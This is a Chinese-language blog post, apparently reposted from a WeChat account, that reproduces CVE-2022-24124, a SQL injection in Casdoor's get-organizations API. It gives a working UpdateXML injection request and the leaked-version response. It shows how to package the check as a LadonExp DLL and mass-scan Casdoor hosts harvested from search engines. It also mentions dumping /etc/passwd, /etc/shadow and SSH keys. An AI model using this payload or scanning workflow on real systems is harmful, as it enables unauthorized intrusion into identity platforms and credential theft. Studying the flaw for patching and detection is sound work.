LadonExp复现CVE-2022-24124 Casdoor SQL Injection

admin 2023年1月6日11:10:10评论103 views字数 2283阅读7分36秒阅读模式

关于 CVE-2022-24124

Casdoor 是一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台,其 Web UI 支持 OAuth 2.0 / OIDC 和 SAML 身份验证。

根据GitHub 安全公告,低于 1.13.1 的 Casdoor 版本容易受到此 SQL 注入攻击。

SQL注入分析

由于对参数中用户提供的输入验证不充分,查询API中存在该漏洞field,远程攻击者可以通过访问公开可用的/api/get-organizations端点在参数中插入任意 SQL 查询来触发该漏洞field

提供给field参数的用户输入被插入到原始 SQL 表达式中,该表达式依次执行导致 SQL 注入漏洞的查询。研究人员通过检查以下代码行确定了该漏洞:

LadonExp复现CVE-2022-24124 Casdoor SQL Injection      
查看代码,似乎是使用带有SQL 通配符的运算符field获取字符串数据,函数正在格式化该数据,有关 SnakeString 函数的详细信息可以在文件中找到。

开发POC

可以通过注入 XPATH 函数 ex 来利用该漏洞。字段参数内的 UpdateXML() 或 ExtractValue() 生成错误并获取查询输出。

MySQL 中的 UpdateXML 函数采用三个参数UpdateXML(xml_target, xpath_expr, new_xml),攻击者可以在第二个参数(即 XPath 表达式)中注入 SQL 查询xpath_expr

类似地,ExtractValue() 函数采用两个字符串参数ExtractValue(xml_frag, xpath_expr),其中可以将查询注入第二个参数。

每当 XPATH 查询的语法不正确时,我们都会收到一条错误消息,转储 SQL 查询的输出:

0x001 POC发包如下

REQUEST:

GET /api/get-organizations?p=123&pageSize=123&value=QualysWAS&sortField=&sortOrder=&field=updatexml(null,version(),null) HTTP/1.1Host: 127.0.0.1:8000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0

RESPONSE:

HTTP/1.1 200 OKAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Headers: OriginAccess-Control-Allow-Methods: GET,PUT,PATCHAccess-Control-Allow-Origin: Access-Control-Expose-Headers: Content-LengthServer: beegoServer:1.12.3Date: Wed, 02 Mar 2022 18:31:56 GMTContent-Length: 1963Content-Type: text/html; charset=utf-8Connection: close<!DOCTYPE html><html>[..SNIP..]<body><div id="header"><h2>casdoor:Error 1105: XPATH syntax error: '.12-MariaDB-0+deb11u1'</h2></div><div id="content">


0x002 LadonExp测试漏洞

AddURL填写POC 测试单个URL查看漏洞回显特征

/api/get-organizations?p=123&pageSize=123&value=QualysWAS&sortField=&sortOrder=&field=updatexml(null,version(),null) HTTP/1.1

LadonExp复现CVE-2022-24124 Casdoor SQL Injection

在 HTTP 响应中,我们可以看到version()XPATH 语法错误中的函数输出,但输出被截断并在响应中显示有限的字符。熟练的攻击者可以使用诸如substring()可用于从具有指定长度的指定偏移量中提取部分字符串的函数来绕过此限制。

LadonExp生成EXP

PocTag填写<h2>casdoor:Error  PocName填写ISVUL

然后点击生成DLL,对存在漏洞URL测试成功回显ISVUL

LadonExp复现CVE-2022-24124 Casdoor SQL Injection

PS:生成的dll,建议改名为对应漏洞编号,方便以后使用

0x003 Ladon批量检测漏洞

通过相关搜索引擎,导出该产品URL资产,使用以下命令批量检测,存在漏洞返回我们指定的漏洞名称,如ISVUL,不存在漏洞返回Html源码。

Ladon48 url.txt LadonPoc48.dll

LadonExp复现CVE-2022-24124 Casdoor SQL Injection

0x004 任意文件读取

Qualys WAS 开发了一个PoC,绕过有限的字符输出限制并转储文件的全部内容/etc/passwd,类似的敏感文件内容/etc/shadowSSH keys可以从应用服务器转储:

LadonExp复现CVE-2022-24124 Casdoor SQL Injection

原文始发于微信公众号(K8实验室):LadonExp复现CVE-2022-24124 Casdoor SQL Injection

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月6日11:10:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LadonExp复现CVE-2022-24124 Casdoor SQL Injectionhttp://cn-sec.com/archives/1502509.html

发表评论

匿名网友 填写信息